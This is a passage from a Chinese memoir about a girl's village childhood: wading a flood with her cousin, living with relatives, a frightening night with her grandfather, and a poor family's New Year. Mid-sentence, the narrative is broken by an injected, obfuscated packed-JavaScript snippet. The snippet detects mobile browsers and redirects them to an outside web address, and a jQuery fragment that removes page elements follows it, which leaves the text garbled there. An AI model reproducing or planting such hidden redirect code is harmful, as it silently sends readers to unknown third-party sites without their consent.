我妈妈安慰我说:“别哭了,你一个大闺女,在路上哭不好。你以后可不要一个人在路上哭哈。眼泪往肚子里咽!人一哭,还会中邪!” 我哭着说:“我知道。” 到了学校门口,我妈妈目送我进了学校,她就一个人走了。我也红着眼睛推着自行车回到学校。 我妈妈来的时候给我的那四张十块钱。我怕都带在身上弄丢了,就只带了十块钱,把剩下的三张十块钱放在我家床底下。我家床底下有一块大石头,我就把那三张十块钱放在那块大石头底下压着。每次我花完手里的十块钱,就再来我家,趴在床底下,把那块大石头挪开,把下一张十块钱拿出来。 有一段时间,我可能忘记了我家那块大石头底下还有一张十块钱了。等我想起来以后,就跑回我家,把那块大石头挪开来,一看,那十块钱在那儿呢,可是已经发霉了,粉化了。我呆呆地看着这张彻底不能使用的十块钱,脑袋里蒙蒙的,一时不敢相信这是真的。我把那块大石头再压上去,再一次挪开来,希望还能看到那张完好无损的十块钱。可是,真的没有用了。好好的十块钱就这样被我给浪费了。 一天下午,我同学跟我说,有人找我。我一看,是二姑家的大表姐来了。她的两个手里,拎着大包小包的。我知道她这是从外头打工回来了,她可不是专门儿来看我的。但是大表姐是二姑家的人,是贵客,我还是喜出望外,要拿出十二分的热情来接待。 “我刚下车,我拿的东西太多了,我用用你的洋车子。”大表姐说。她就站在我宿舍楼前停自行车的地方。那里,有一堆自行车,我的自行车也在那里停着。 “哦,我还有几节课。没事儿,我跟你一起走吧。”我说。那时候太阳还高,离放学还早,最起码还有两三节课。可是大表姐说要用我的洋车子,我不敢怠慢。好像,那时,我自己对学习也有些厌倦。学校里管理学生的老师看了我一眼,他见我身边有一个校外的大姑娘,也没说什么。我就回到宿舍收拾了一个小包,跟着大表姐一起回家了。 我知道,大表姐自己没上好学,她对于上课这回事儿是不当回事儿的。何况,她现在打工回来,肯定往家买了不少东西,她是急急地要带到她家里去。我在她家寄宿,她的事儿,我焉有不从之理。我就这样旷了课跟大表姐一起回家了。那时候,学校班里管地也不严,我旷课了,好像也没人管。 我记不得是她带着我,还是我带着她了。总之,我们就这样到了杜村河沿儿。杜村河沿儿发大水了。水深齐腰,一排石碑搭的小桥已经完全被水给淹了。大表姐推起我的自行车,我跟在她后头,蹚着水往前走。走是走得动的,只是自行车在水里推不动了。水是从北往南流。我们横断水面,从东往西走。这样的水深,要不是有大表姐给我壮着胆儿,我自己还真的害怕呢。 自行车在水里可不像人那么灵便,它被从北往南的水溜子给推着,向西根本前进不了了,它前进不得,想滑倒,想睡觉,想顺着水往南漂。我知道,搞不好,我也会随着水流漂跑了。要是真地被大水给冲走了,要一直给冲到会宝岭水库的闸门那里,才会停下来呢。大表姐艰难地把自行车往前推着。“你慢点儿。”她说。我跟着她的步子往前挪动着。水还是很清澈的,我好像看到一条白肚皮的蛇顺着水流漂了过去。 我们终于过了杜村家前的河沿儿,再往前走一小段路,到了杜村庄跟前儿了。前头,往北,上了高岗儿,就能看见荆堂了。高岗南边儿,地势低洼,地上有一个大坑。坑里坑外,到处是咯咯噔噔的鹅卵石。平日里还好。现在,坑里存满了水。一个大水坑挡住了我们的去路。这也太坑人了。 那水比杜村南家前的水更深了。大表姐在前头推着自行车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137788|180320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我跟在后头。那自行车几乎要被水流冲走了。大表姐眼见着走不动了。我们一时间被困在水里,眼前是湍急的水流。水要把自行车给冲走,人随着自行车在水里晃悠。 怎么办?弃车保卒,把自行车给丢了吧。我想。我知道,我爷爷是没有钱再给我买一辆新的自行车的,可是危机时刻总得保命要紧吧。人在水里是会犯晕的,只觉得已经身不由己,要顺水推身,随波逐流。那水是自东往西,穿过我们的身躯。要把我们连同那辆旧自行车一同推下去。虽说是短短的几步的距离,可是因为被围困在水里,想要突围还真是不容易。 车轮子陷在水流里,走不动了。怎么办。大表姐把自行车车头奋力往上举了举,让那半个轮子的辐条从水里解脱了出去,减少了水流的冲击,减轻了很大的阻力,我们又开始溯游而上了。高岗下头的地势本来就低洼,那水已经到了我的咯吱窝了。这个时候,人的身体已经不听自己的使唤了。我们在水里,道阻且长。每前进一步都是在脱离被水淹死的灾殃。终于,我们走出了水的漩涡,踏上了去往荆堂的高岗上。总算是脱离了危险了。到了荆堂,大表姐把她的东西拿走,我也回到我爷爷家里。 晚上,等我吃完了饭,去我二姑家的时候,二姑一家人正团聚在她家的桌子前吃饭。她们吃的是螃蟹。是大表姐买的。 “你来吃吧,大省儿。”二姑招呼我说。 “不了,二姑。我吃完饭了。”我说。我知道二姑是跟我客气呢。 “你吃吧,大省儿?”大表姐说。 “我不吃了,大姐。”我跟她说。我知道,大表姐刚刚跟我一起经历了一场生死之劫,她对我的邀请比二姑的要真诚地多。尽管是蹚水了,但是毕竟是夏天,也没什么的。衣沾不足惜,但使愿无违。我为大表姐做了一件好事,二姑应该会记我的功劳的。这也算是我在二姑的功劳簿上建了功立了业。她会再让我在她家住上一段时日的吧。 那阵子正逢连天下大雨。我有时候放了学,会去东院二奶奶家里看看电视。电视里的女明星在唱歌儿:“泥巴裹满裤腿儿,汗水湿透衣背。我不知道你是谁,我却知道你为了谁。” 秋生二叔也在,他坐在小椅子上,大腿翘在二腿上,也在看着电视。说实话,二叔虽然既不高大,也不白净,但是他为人很老实稳重,在二奶奶家里的三个叔里头,给我印象最好的就是二叔了。可是他因为个子最是矮小,他的婚姻大事到现在可能都还没有着落。 二叔小小地坐在那里。他微笑着跟我说:“你看人家电视里,歌词写地多好啊。” 我好像很少看到二叔不笑。二叔好像始终是微笑的。他尽管尚未婚娶,并且好像也很难婚娶,但是他自己好像并不生气也不着急。二叔笑起来的时候像个女孩儿,他的笑容我觉得很好看,很温和,也很干净。 二奶奶板着脸说:“那可是!人家明星写的,能不好吗?” 二奶奶不高兴,我知道,她高兴不起来。或许,在二奶奶心里,她不能不为二叔的婚娶问题着急吧。我想起来二奶奶跟人说过的话:“清明小时候搁月窝窝里就不老实,爱蹬,爱踢。秋生小时候就老实,把他搁在那,他睡地老老实实的,一动不动。” 二叔问我说:“这样的歌词,大省能写地出来吗?恁在学校里不是写作文儿吗?” 我知道二叔这是出于对我的源自父辈的好感和关心,可是我既写不出那么好的歌词,又想看电视,我讪讪地笑着说:“我写不出来,我哪有那水平。” 二叔说:“你多看看书,多写写,就能写出来了。你看人家琼瑶,写小说,拍电视。多好啊。琼瑶的小说你看过吗?” 我说:“我看过几本,从俺同学那里借的。《失火的天堂》。” 二叔微笑着说:“大省以后也当个作家,也写书。” 我笑着说:“我哪有那个本事。” 我看看外面黑了,外面的雨有些大了,我跟二叔、二奶奶说:“二奶奶、二叔,我走了。我还要去西头俺二姑家。” 二叔说:“你走吧,路上慢点儿。” 二奶奶也说:“慢点儿哈。” 晚上,我到了二姑家里,准备睡觉了。我睡在大姐、二姐的床上。一个大衣柜挡着,外头的人看不见我,我也看不见外头的人。二姑二姑夫坐在外头看电视。他们烧了羊肉汤,盛好了,喊我出去喝。 “省儿啊,出来喝羊肉汤吧。”二姑说。 我那时候确实想睡觉了,又出于客气,我说:“我不喝了,二姑,我想睡觉了。” 二姑进来喊我说:“去吧。恁二姑夫叫你去喝的。” 我就走了出去。三碗羊肉汤端在桌子上,二姑夫就坐在桌上看着电视。 “喝吧。”二姑跟我说。 “我喝哪一碗?”我问二姑。 “随便。那边有筷子。”二姑说。 我就端起来一碗,坐下来拘谨地吃起来,也不知道说什么。我吃到一块羊肉,嚼了半天,嚼不动了。 二姑看出来了,她说:“吃不动就不吃了。” 我说:“我嚼了半天,嚼不动。” “那就吐了吧。”二姑说。 我说:“吐到哪?” 二姑说:“就吐到屋当门里,回我扫。” 我就把那块难嚼的肉吐了,继续吃剩下的。 等我吃完了,我跟二姑说:“二姑,我吃完了,我去睡觉了。” 二姑说:“你去吧,俺再看会儿电视。” 一个晚上,二姑、二姑夫不在家,我跟二姐在家。天晚了,二姑、二姑夫还不回来,我就跟二姐先睡下了。 第二天早上,二姑回来了。她跟二姐说:“恁爸爸跟竹青打架住院了。我得去照顾他去了。恁搁家好好的哈!” “什么?俺爸爸跟人打架了?”二姐说。 “嗯。省儿,恁跟恁二姐搁家吧哈。”二姑跟我说。 “哦。”我说。 我住在二姑家里,我二姑夫住院,我得去看看。那是一个星期天,我骑着自行车到了乡里的医院,经过打听来到了二姑夫的病房里。二姑夫正躺在病床上,又长又白的绷带把他从头到脚包扎地像个外星人一样。 我二姑看我来了,脸上也现出亲人的模样。人家临床的家属问她:“这是谁啊?” 我二姑就用欣慰的语气跟人说:“这是俺侄女子。”二姑照顾二姑夫,吃地比以前白胖了。二姑每次给二姑夫泡方便面都泡地很多,她婆婆让她少泡一点儿,好留着给她儿慢慢地吃。可是,二姑总是说:“没事,吃不完给我吃!”她婆婆就很不高兴,嫌她贪吃。那时候,方便面还是个好东西,二姑夫住院,去看望他的人很多,很多人都买方便面。 我二姑说:“恁牛老师也在这住院呢。恁牛老师跟校长闹架,被校长雇的人打了。校长雇了一拖拉机的人,把牛老师截到半路上打的。牛老师被打地屎都拉出来了。牛老师住院的地方离恁二姑夫住地地方不远。” 我说:“哦,我以后再去看牛老师。” 但是我后来没有去。 我一直没有去。我是不想去。我为什么不想去呢?因为他抹过我的脊梁骨?因为他摸过宋大秀?还是因为我不想在他那么狼狈的时候看到他?总之,我就是没有去看他。 我妈妈再回来的时候,也知道了牛老师的事儿。 她问我说:“恁牛老师住院了,你知道吧?” 我说:“我知道,俺二姑跟我说了。” 我妈妈说:“恁牛老师住院的地方,就搁恁学校下头。你去看恁二姑夫的时候,去看恁牛老师了吗?” 我说:“没有。” 我妈妈生气地说:“你怎么不去看看恁牛老师的啊?恁牛老师住院的地方,离你上学的地方恁么近,你买两瓶罐头去看看恁老师去啊。你离地那么近,你都不去的?” 我说:“我回来再去看俺牛老师。” 我妈妈说:“你搁恁二姑家住,你就去看恁二姑夫。你不搁恁牛老师家里住,你就不去看恁牛老师啊。恁牛老师以前对你恁么好!你没待恁牛老师家住过啊?你没有良心!” 我说:“妈,俺二姑夫怎么跟俺竹青大爷打起来了的?” 我妈妈说:“竹青要跟立春夺权,恁二姑夫向着立春,就跟他打起来了。立春不是恁二姑夫的本家兄弟嘛。听说当时,一伙人都在跑,恁二姑也‘咕咚!咕咚’地跑。” 我说:“竹青大爷不是才搁里头出来吗?他怎么恁么想当官儿的?” 我妈妈说:“恁竹青大爷年轻的时候,是老师,还教过恁爸爸。恁爸爸因为成绩好,又老实,还是班长呢。恁爸爸上到四五年级就不上了,因为家里穷,他爹他娘没本事,供不起。” 我说:“啊?俺竹青大爷还当过老师啊?” 我妈妈说:“嗯,恁竹青大爷当老师的时候,背着恁竹青大娘,跟一个女老师搞对象了。恁竹青大爷看不上恁三大娘,嫌她没文化。竹青大爷的爹娘硬是摁着,不同意他离婚。后来,竹青大爷开始拦路劫财了,专门儿拦人家的大车。他带回家的那些水果,焦黄焦黄的,他闺女捧着吃,俺都没见过。” “他拦人大车。人家不抓他啊?”我说。 “他后来不是进去了吗?”我妈妈说,“那时候,那个女老师都怀孕了。” “那他进去了,那个女老师怎么办呢?”我说。 “谁知道来。后来没听说。”我妈妈说。 “三大爷恁些年不搁家,俺三大娘还是一个人带着两个孩子等他啊?”我说。 “啊。等拾掇完没事儿喽,恁三大娘收拾一新,炒上菜,推着洋车子,还去给恁三大爷送饭来。”我妈妈说。 “三大娘送的饭,三大爷能吃到吧?”我问。 “人家不给他吃。人家都给倒了喂猪了。”我妈妈说。 我说:“俺三大娘怪会打扮,我经常看到她穿着绿色的褂子,披散着头发,还戴着发卡。” 我妈妈说:“你没看她那张脸的。你看恁三大娘那张脸啊,多显老啊,都是愁的。” 我说:“是的。三大娘的脸,向下耷拉着,跟个老嫲嫲似的。” 我妈妈说:“她一个人搁家来拉扯着两个孩子,还得种地,哪恁么容易的。” 我说:“我那天看到一群女的,抱着铁锨,帮俺三大娘剜地的。都打扮的可时髦了,跟七仙女似的。” 我妈妈说:“这回恁三大爷出来了,能帮恁三大娘干活儿了。” 我说:“我上回搁俺爷爷家墙外头,看到俺三大爷了。三大爷笑嘻嘻地,围着南北荆堂转悠。好像得胜回朝了似的。三大爷个子可高了,脸煞白。他是搁里头捂地吧?就是有点瘦。” 我妈妈说:“他那是搁里头被折磨的,那里头能有好味儿吗。” 我说:“三大爷跟立春争官儿,最后谁赢了?谁当官儿啊?” 我妈妈说:“人家两个人早就和好儿了。恁三大爷跟立春一块儿当。” 我说:“哦,三大爷跟立春并肩为王啊。” 我妈妈说:“嗯。并肩为王。” 我说:“三大爷本来就有文化。这些年搁里头天天学习,肯定进步了。” 我妈妈说:“那是的。这些年,恁三大爷的文化水平蹭蹭地提高,这庄上谁能赶地上他。” 我说:“俺三大爷这些年搁里头,肯定也学习了不少先进的管理经验。这回出来当官儿,正好能派上用场儿。” 我妈妈说:“那能派上用场哦。这庄上的人儿谁也没他有见识。” 我说:“三大爷这回走马上任,肯定能大展宏图了。你还别说,俺三大爷还蛮负责任的。天天搁大喇叭头子里喊。让人家老百姓及时耕地、浇水。跟个老师似的,循循善诱地。又细心又有耐心,真是个贴心的好干部。” 我妈妈说:“是的。这庄上的人儿都夸。恁三大爷真比那些大队干部都强来。” 有一回,我跟妈妈在天井里,就听见三大爷在大喇叭里喊起来了:“喂!喂!大家伙儿注意了哈!石塱里起石头放炮了,大家带着小孩,赶紧回屋里躲起来!别让石头渣子崩到!”三大爷又在慈悲为怀了,我们也倍感亲切,赶快听话地躲到屋里去。三大爷在大喇叭里很耐心地等着,给我们留够足够的时间来隐蔽。 “现在开始放炮了!”三大爷又喊了一声儿。 “还有五分钟!” “还有三分钟!” 我家西墙外的石塱里,一声炮响,弹壳一样的石头碎片降落到我家的天井里,砰砰地砸到我家的大锅盖子上。 “好!放完炮了!大家伙儿可以出来啦!”三大爷又在大喇叭里关照道。 北荆堂在立春大叔的英明率领下,在竹青大爷的积极辅佐下,确实治理地比南荆堂好。北荆堂的大队干部总的来说比较温和,老百姓都能得到休养生息。 过了几年,不知道是扶贫项目还是什么基金,落实到了北荆堂,在北荆堂庄北头儿挖了一个大机井。北荆堂庄北头儿,也是一片美丽的石博连,石博连的间隙里生长着美丽的柿子树,地里种着美丽的山芋。 挖机井的时候,挖出了一堆圆柱形的石墩子。石墩子高矮不等。有的大人小孩把那石墩子搬回家去当板凳坐。我也搬了一个放在我爷爷家里。一时间,南荆堂的大街上,南荆堂的人家里头,到处都是那种圆柱体的石墩子。 不久,竹来大娘死了。竹来大娘才五十来岁,是南北荆堂难得的好人。主持北荆堂的红白喜事的是姓李的李宝堂,我亲四姨姥爷,他是我二姑夫的本家四叔,也是立春的四叔。张家跟李家因为争权结了仇怨,好久不搭腔了。这回,竹来大娘死了,张家需要我四姨姥爷来主事。吉祥大哥作为孝子,光着脚,在长辈的带领下,披麻戴孝地到了我四姨姥爷家,见了四姨姥爷,一古脑跪下去。这孝子的一个头磕在地上,四姨姥爷再有什么仇恨也不能计较了,四姨姥爷就走出了家门,来替张家主持这场丧事。 这就叫深明大义,讲大事。 3 .南家前的二爷爷、二奶奶 住在别人家里毕竟给别人的生活带来诸多不便,不久,我就不住在我二姑家了。 二姑家不能住了。我爷爷在他家靠西山墙的地方,给我铺了一个小床。我开始自己睡。秋冬的一个晚上,我爷爷去可善老爷爷家里找他拉呱去了,我自己先睡觉。到了九十点钟了,他才回来。我给爷爷开了门,我爷爷有些气恼地看了看我,默不吭声儿地睡下了。我感觉到他睡地不踏实。不一会儿,他裹着被子故意滚到了床底下,又假装睡了过去。他的床铺并不是很高,又是裹着被子,而且,我看出来他这是在表演。我坐起身,看着他表演,没有去拉他。 我爷爷自己坐起来了。 “你不孝顺!”他罕有地朝我怒吼道。 我看出来他的表现不正常,开始警觉了起来。我爷爷去了一趟可善老爷爷家里,怎么回来就成样儿了?是不是可善老爷爷跟他说了什么?我心里狐疑着,朝门口走去。 我爷爷抓着我的肩膀说:“爷爷恁么疼你,你不孝顺!” 我吓得大哭:“爷爷!爷爷!”我抓着屋门要去开门。我爷爷也去抓住两扇屋门,把门晃地哐当哐当地响。门栓在里头栓着,我一时被堵在屋里,出不去。 我吓得没好声儿地大喊:“爷爷!爷爷!” 我爷爷像喝醉了似的,带着哭腔说:“你怎么不孝顺爷爷的?!我从铺上摔下来,你怎么不去扶恁爷爷的?” 我吓得不知道说什么,只知道大声地喊叫! 是的,当你遇到危险的时候,喊叫是对的。 隔壁老娄奶奶听到了。 她隔着院墙没好声儿地喊着:“长瘊了!长瘊了!” 老娄奶奶的喊声是有作用的。她让我爷爷清醒了下来。或者,他听到老娄奶奶的声音,从刚才疯狂的表演中停顿了下来。老娄奶奶的一声吼给我解围了。老娄奶奶千古! 我开开屋门,从屋里冲了出去,到了天井里,虽然还是很害怕,可是我觉得自己安全了很多。 老娄奶奶来了:“干嘛的?他大哥!你把小孩给吓的!你以前就是这样!妭她娘走娘家去了,你夜里吓唬她,你把小妭吓得裹着被单子往大街上跑!” 我惊魂未定,决计不在我爷爷家里住了。 我说:“老奶奶,我不搁俺爷爷家里住了。我跟着你吧。” 老奶奶说:“俺家来就那一张小床,睡不下啊,你不行去东院恁二奶奶家里住吧。” 我爷爷从刚才的荒唐地表演中变得温和了起来:“不去东院儿,我送你去南家前恁二奶奶家!” 我爷爷带着我去了我二奶奶家。 当时已是半夜了。二奶奶把我迎进屋里。 “让省儿跟着恁住吧,二嫂子。” 我爷爷说。 “怎么回事儿啊,恁怎么这个时候过来了的?”二奶奶问。 “俺爷爷夜里吓唬我,我不敢跟他住了。我跟着恁住吧,二奶奶!”我跟二奶奶说。 “行!”二奶奶说。我应该感谢二奶奶收留了我。 二爷爷身体一直不大好,经常咳嗽。他睡在靠北墙的一张床上,厚厚的棉被上头,压着他的厚厚的大棉袄。二爷爷一到冬天就穿得很厚,大棉袄,大棉裤,还戴着火车头帽子。我跟二奶奶睡在靠南墙的一张床上。床上,铺着厚厚的蓝色的被子和褥子,很干净很暖和。 我在二奶奶的被窝里坐下来。 二爷爷在靠北墙的小铺上躺着,时不时地咳嗽两声儿。 “恁爷爷吓唬你了?”他问我。 “嗯。” “他招着你了吗?”二爷爷问。 我知道“招着你”是什么意思。我也听说过,我爷爷趁着我奶奶走娘家的时候,在夜里,把我大姑二姑吓得披着床单到处跑的典故。 我说:“没有。” 从那以后,我就跟着二奶奶一起住着。 二奶奶家的儿女都很孝顺。二奶奶家的大姑嫁在坦上集,经常蹬着三轮车赶集卖橘子。二爷爷爱吃橘子。大姑赶完集回来,磴着三轮车绕路路过娘家,卖不掉的橘子统统倒下来,留给二爷爷吃。 夜里,二爷爷咳嗽地厉害。二奶奶也是见惯不怪了。她拿个橘子给我,她自己也剥个橘子吃着,转过头儿问躺着的二爷爷:“你吃橘子吗?”二爷爷盖着厚厚的被子,在被窝里咳嗽着答应一声儿。二奶奶给他剥个橘子,二爷爷吃了,又继续咳嗽。 第二天,天还黑黑的,我就起来了。我还要去爷爷家里吃早饭,推自行车,去上学。 我爷爷那天好像知道他自己做错了什么,他毕竟是老了,毕竟,我是他身边仅存的唯一一个亲人了。他烧了平时很少烧的地瓜干子大米粥,格外温和地跟我说:“我四点就起来烧饭了。” 我半夜里受此惊吓,根本没有睡好。一大早起来,头脑昏昏的。我没说什么,头脑昏昏地吃了饭,又骑上自行车跟巧云一起去上学去了。去镇里上初中有十几里的路,我们在路上边骑车边说着话。我还是跟她一起正常说笑着。夜里,我爷爷吓唬我的事,我绝口不提。我怕说出去,会以讹传讹,坏了我的名声儿。 天还没有亮,路上,周围还是黑的。我头脑昏昏地骑在车上。我想我妈妈了,我想到我妈妈那里去了。我对我爷爷的看法在昨天半夜全然改变了,无论如何,他不该那样吓唬我的。是他有错在先。我要离开他,到南乡去,到我妈妈那里去。 上课的时候,我突然有点头晕,眼前发黑,坐不住了。 “我头晕!眼前发黑!”我跟我的同桌戚继芳说。 语文老师正在上课。他发现了我的异常,走过来,悄悄地问我:“宋大省,你怎么了?” 戚继芳跟他说:“宋大省头晕!” “你陪她去看看吧。”语文老师对戚继芳说。 戚继芳陪着我到了学校对面的小诊所。 “怎么回事?”医生问我。 “头晕。”我说。 “以前这样吗?”医生问我。 “以前不这样。以前是怕蹲下。一蹲下就眼冒金星,眼前发黑。” “低血糖!缺乏营养。先拿几支葡萄糖。回去再喝点白糖!”那个医生说。我们很快就回去了。 “怎么回事?”语文老师问。 “医生说我缺乏营养,要喝点白糖。”我说。 “我家里有白糖。回我给你拿一包?”语文老师关切地说。 “不要了,老师。”我说。 半夜里,我的一条腿又开始抽筋了。腿中间,像是两根骨头错开了位置,一上一下地轮番滑动。故事里说的抽筋扒皮的感觉也许就是这样吧。同学们都在睡觉,我不能吭声儿,咬紧牙关撑着。我的腿抽筋不只一次了。我知道过一会儿,等它抽完就过去了。下一次,不知道什么时候,它想抽了还会再抽。 放寒假的时候,我带了自己的东西准备去我妈妈那里。我不敢跟我爷爷说实话,我爷爷肯定是想让我跟他一块儿过年的。我就跟他说,我要去同学家里玩几天。 我爷爷有些不安地问我:“是哪个同学啊?” 我说:“是蒙烟的戚继芳。” 我爷爷半信半疑地同意了。 我骑车到了南乡我妈妈家。到了南乡,跟我妈妈说了那天夜里我爷爷吓唬我的情况。我妈妈知道我有惊无险,又跟着二奶奶住,也就放心了。 15. 私立公堂 1.国美二佬、国美二奶奶 我到南乡的时候,我弟弟、妹妹正在跟几个小孩子一起玩儿。许久未见,我弟弟、妹妹已经是纯正的南乡口音了。那年,他还不足十岁吧,我妹妹才七八岁。 我有点不能接受,我不甘心地问我弟弟:“你怎么变了口音了?你是装的,还是真的变了口音了?”在我心里,变了山东口音等于叛变。我不能接受我弟弟对异乡口音的投降,或是,异乡口音对我弟弟的同化。 “真的!骗你是孩子!”我弟弟笑着说,露出孩童的率真与无所谓。我登时有点不喜欢他了。 我妈妈还是顽固的山东口音。所以,南乡的人,都叫她“侉子”。 过年的时候,我们无处可去。妈妈就带着我们三个在庄前的小路上逛。我们走着走着,就到了凡庄的南大路上。南大路路边儿上,高高的丛生的茅草早就变得枯黄。路两旁的沟里常年都是干的。那条沟里,有的地方垛满了厚厚的稻草,有的地方散落着枯黄的茅草。前面扎堆儿拉呱儿的是凡庄的老爷们儿老娘们儿。我们知道我们跟他们不是一类人。他们的圈子,我们不想融,也融不进。妈妈就带着我们到那沟里头的稻草上坐着。我们就跟着妈妈在沟里高高的厚厚的稻草剁子上坐着。 “恁娘儿四个怎么在稻草剁子上坐着啊?”南大路上过去的人不解地问我妈妈。 “这儿暖和!”我妈妈笑着说。 没错儿,我妈妈的做法是对的。穷则独善其身。人穷了,就在灯火阑珊处呆着吧。不要胡乱地去低三下四地讨好那些高爵显贵了,人家即使给你一个可以就近闻取别人一个臭屁味的机会,那也真的没什么意思的。臭屁味儿既不能解渴,也不能解饿。我们也知道我们穷,我们穷地无人问津无可奈何。可是在小孩子的心里,无论如何,跟着妈妈就是好的。 快要吃晌午饭了,该回家了,妈妈带着我们沿着庄里的小路回家。凡庄南家前的一个大娘喊住了我们,叫我们去她家里坐坐。妈妈就带着我们来到她家里。跨过大娘家黑色的门槛,我们来到了她家的东屋里。大娘捧上了她家过年炸的江米条子给我们吃。 这边,妈妈说着:“大嫂子,你可别费心。”那边,我们可是早就把那甜甜的面果子接了过去。那面果子是自家用面粉搓了面条,蘸了红糖炸的,香香的,甜甜的,还有一股子焦糊味儿。真好吃。 “谢谢大嫂子。”我妈妈笑着跟大娘说。 “恁可别客气,三妹。你看三个小孩长得多好啊。” 我妈妈看着我们笑着说:“就是穷。” “穷是暂时的,俺三妹,咱慢慢过。等以后小孩长大了就能孝顺你了。你看看恁这几个小孩儿,长得多好。怪好的家庭的孩子也没恁家的小孩长得好。你看恁大闺女,四大面方的,多有出息。” 我妈妈笑着说:“多谢俺大嫂子金口玉言。” 大娘家也是家徒四壁,黄土地面,黄土墙面,比我家整洁,但也没有什么像样的家具。 跟大娘说说话,妈妈就带着我们三个回家了,那是我记忆中比较温暖的一次串门子。穷在闹市无人问。穷人家里,门可罗雀,不仅穷在物质和金钱,也穷在人气。我们家穷的只剩下我们娘四个了。 吃晚饭的时候,我妈妈跟我们说:“恁都别吱声儿!我跟恁说件事儿。今天晚上吃完饭,恁姊妹三个去恁国美奶奶家里看电视去吧。我装了几瓶八宝粥还有糖块儿,搁她家里的。恁去吃吧。不能在咱家吃。别回大恶心来了。” 我们问她:“妈妈,你搁哪儿弄的恁些八宝粥啊?” 我妈妈说:“我去东夫山找以前搁小鲁村结识的医生大姐,人家给我的。” 吃完了饭,我们姊妹三个就去了国美奶奶家里。国美奶奶跟国美爷爷都在家。 “二奶奶!二佬!”我们喊道。 “哎,大姐来了?麻坐。”二奶奶招呼道。我们在二奶奶家的床沿儿上坐下来。二奶奶伸手把放在她家床头上的一个布袋子拿了过来。 她把那袋子递给我们说:“呐,恁姊妹三个吃吧。恁妈妈搁俺这儿的。” 我把那个袋子拿过来,里头是沉甸甸的红罐罐的八宝粥。我们三个一人一罐子拿在手里。 我跟二奶奶说:“二奶奶,二佬,恁吃吧?” “俺不吃。”二佬耷拉着眼皮在看电视。 二奶奶说:“俺不吃。恁姊妹三个吃吧。里头还有奶糖。” 我又把奶糖拿出来,一边喝着八宝粥,一边嚼着奶糖。那是我第一次喝八宝粥,我用小勺子搅着里头的东西,那里头有花生,有莲子,有红豆。八宝粥很甜,说不上有多好吃。 二奶奶说:“俺也该做饭了。”她家屋里放着一个炉子,她走到天井里,拿来一个小锅儿,放在炉子上。又从她家的小厨柜里端出来一碗小鱼。锅里倒上了油,油热了,她把那些小鱼“滋啦”一声儿倒进小锅里。小鱼在锅里冒着热气,二奶奶又往锅里放了一些酱油和醋。登时,她家的堂屋里,满是香香的酱油和醋的香气。 我妈妈跟着过来了。 “恁烧饭的?二婶子?”我妈妈在二奶奶的天井里说。 “烧饭的,三姐。麻进来坐。天冷。”二奶奶招呼我妈妈。 我妈妈袖着手儿进来了。她进来以后就坐在二奶奶堂屋里的一个小板凳上,袖着手儿,眼睛看着电视。我们拿着八宝粥去给我妈妈喝。 “妈,你喝!”我说。我把八宝粥递到我妈妈嘴边儿上。 “俺不喝!”我妈妈拿她的胳膊肘子推着我,有些不耐烦地说。 她问二奶奶:“恁搁哪儿弄的恁些小鱼哎,二婶子?俺大兄弟逮的?” “是的。根子逮的。给俺几条。”二奶奶说。 “天恁么冷,你也有功夫弄。我手都冻得裂口子了。要是我,就那几条鱼,我才不弄来。俺家小孩儿多,几条小鱼,吃不到。”我妈妈说。 二奶奶说:“俺跟恁二叔年纪大了,有点儿就行。” 我妈妈说:“是的。你会烧饭,你搁上油盐酱醋那些材料,味儿好。” 二奶奶说:“你的手冻皴了?我洋铁壶里还有点儿热水儿,我倒给你,你烫烫手吧。恁家没有炉子,烧热水儿不灵便。” 我妈妈说:“那太好喽。二婶子。” 二奶奶提着她家的洋铁壶进来了,她手里还端着她家的洗脸盆儿。她把那洋铁壶里头的水倒进洗脸盆子里,跟我妈妈说:“这些倒给你烫手,我再去烧。” “行,二婶子。”我妈妈蹲在地上哗啦哗啦地烫手。门外头,有人轻手轻脚地进来了。 “三老太来了。”我们说,“老太!” “哎!”三老太答应着走了进来。 “三奶奶,麻进来看电视!”我妈妈说。 “行!恁三姐!”三老太答应着说。 “进屋吧!三婶子。”二奶奶说,“三婶子每天都来看电视。立勤家有电视,她都不去,她就来俺家。” “年纪大了,觉少了,来看会儿电视。”三老太坐下来说,“大姐也来了?” 我说:“是的,老太。” 三老太说:“大姐可能了,成绩好。” 二奶奶进来了,我妈妈问她:“二婶子,你的眼怎么红了的?” 二奶奶说:“熬眼儿熬的,这些天看电视看得晚。” 我妈妈说:“你涂红霉素眼药膏,可见效了。我眼一不好就涂那个。” 我说:“二奶奶有耐心。人家来二奶奶家看电视,二奶奶跟着陪着,把眼都熬红了。” 二奶奶说:“没事儿。我自己早了也睡不着。” 二奶奶家里的堂屋正北的墙上,挂着一个相框。里头有一张照片,是二奶奶跟二爷爷的。那是二奶奶跟二爷爷年轻时照的相。那时候,二奶奶还是大姑娘,二爷爷还是小伙子。二奶□□发披到肩膀,穿着带大襟的褂子,脸上白白胖胖的。二爷爷剃着干干净净的寸头,挨着二奶奶站着。 我问二奶奶:“二奶奶,那墙上的相片儿是你跟俺二佬吧?” 二奶奶说:“是的。还是恁二佬当兵的时候照的。” 我妈妈说:“恁二奶奶为大闺女的时候好看吧?” 我说:“我还是觉得俺二奶奶现在好看。那时候是单眼皮儿,现在是双眼皮儿。” 二奶奶笑着说:“那时候还是大闺女,胖。” 三老太说:“恁二奶奶跟恁二佬感情好,一时半刻也不想分开。” 我妈妈说:“二婶子跟二叔现在感情也好,跟一对老鸳鸯样儿。” 国美爷爷说:“我那时候当兵,恁二奶奶去探亲。我买了个猪头,搁锅里炖着。炖了一夜,第二天,掀开锅一看,都化了。拿不上手了。俺就拿碗挖着吃,一人一碗。” 我看着二奶奶的头发,她的头发虽然全白了,但是剪地服服帖帖地贴在头上,既不短,也不长,配上她白白圆圆的脸庞,双眼皮下闪耀着温和的光芒的大眼睛,真是比她年轻的时候都要好看。 我说:“二奶奶现在的头发也好看。是谁给你剪的?” 